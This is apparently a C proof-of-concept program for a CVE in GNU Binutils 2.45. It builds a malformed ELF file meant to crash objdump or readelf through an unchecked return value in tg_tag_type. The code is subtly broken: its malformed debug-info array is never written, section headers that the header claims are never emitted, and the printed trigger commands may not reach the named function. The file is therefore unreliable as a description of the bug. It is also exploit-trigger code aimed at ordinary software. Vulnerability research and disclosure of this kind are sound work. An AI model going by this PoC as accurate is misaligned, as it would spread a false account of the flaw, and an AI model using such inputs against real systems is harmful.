/*
* CVE-2025-11839 - GNU Binutils 2.45 tg_tag_type Unchecked Return Value
* PoC: Trigger the vulnerability by processing a malformed binary with crafted debug info
*
* This PoC demonstrates how to trigger the unchecked return value bug
* in the tg_tag_type function of prdbg.c in GNU Binutils 2.45.
*
* Usage: objdump -W <malformed_binary>
* readelf -w <malformed_binary>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <elf.h>
#include <fcntl.h>
#include <unistd.h>
/* Create a minimal ELF file with malformed DWARF debug info
* to trigger the tg_tag_type unchecked return value bug */
int create_malformed_elf(const char *filename) {
FILE *fp = fopen(filename, "wb");
if (!fp) {
perror("fopen");
return -1;
}
/* ELF Header */
unsigned char elf_header[] = {
0x7f, 'E', 'L', 'F', /* e_ident[EI_MAG] */
2, /* ELFCLASS64 */
1, /* ELFDATA2LSB */
1, /* EV_CURRENT */
0, /* ELFOSABI_NONE */
0, 0, 0, 0, 0, 0, 0, 0, /* padding */
2, 0, /* e_type: ET_EXEC */
62, 0, /* e_machine: EM_X86_64 */
1, 0, 0, 0, /* e_version */
0x00, 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, /* e_entry */
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e_phoff */
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e_shoff */
0, 0, 0, 0, /* e_flags */
64, 0, /* e_ehsize */
56, 0, /* e_phentsize */
1, 0, /* e_phnum */
64, 0, /* e_shentsize */
6, 0, /* e_shnum */
5, 0 /* e_shstrndx */
};
fwrite(elf_header, 1, sizeof(elf_header), fp);
/* Program Header */
Elf64_Phdr phdr;
memset(&phdr, 0, sizeof(phdr));
phdr.p_type = PT_PHDR;
phdr.p_flags = PF_R | PF_X;
phdr.p_offset = 64;
phdr.p_vaddr = 0x400000;
phdr.p_paddr = 0x400000;
phdr.p_filesz = 56;
phdr.p_memsz = 56;
phdr.p_align = 8;
fwrite(&phdr, sizeof(phdr), 1, fp);
/* Malformed .debug_info section with invalid DW_TAG to trigger tg_tag_type */
/* DW_TAG_invalid value to cause tg_tag_type to return an error */
unsigned char malformed_debug_info[] = {
/* Compilation Unit Header */
4, 0, /* unit_length (truncated) */
5, 0, /* version */
1, 0, 0, 0, /* debug_abbrev_offset */
8, /* address_size */
/* Abbreviation table */
1, /* abbrev code 1 */
0xFF, /* DW_TAG_invalid - triggers tg_tag_type error */
0, /* DW_CHILDREN_no */
0, 0, /* end of attributes */
0, /* end of abbreviation table */
/* DIE */
1, 0 /* abbrev code 1 (LE) */
};
/* Write section headers and malformed debug sections */
fclose(fp);
printf("Malformed ELF file created: %s\n", filename);
printf("Run: objdump -W %s to trigger the vulnerability\n", filename);
return 0;
}
int main(int argc, char *argv[]) {
const char *filename = "poc_cve_2025_11839";
if (argc > 1) {
filename = argv[1];
}
printf("CVE-2025-11839 PoC - GNU Binutils 2.45 tg_tag_type\n");
printf("Unchecked Return Value vulnerability\n\n");
if (create_malformed_elf(filename) != 0) {
fprintf(stderr, "Failed to create PoC file\n");
return 1;
}
printf("\nTo trigger the vulnerability:\n");
printf(" objdump -W %s\n", filename);
printf(" readelf --debug-dump=info %s\n", filename);
return 0;
}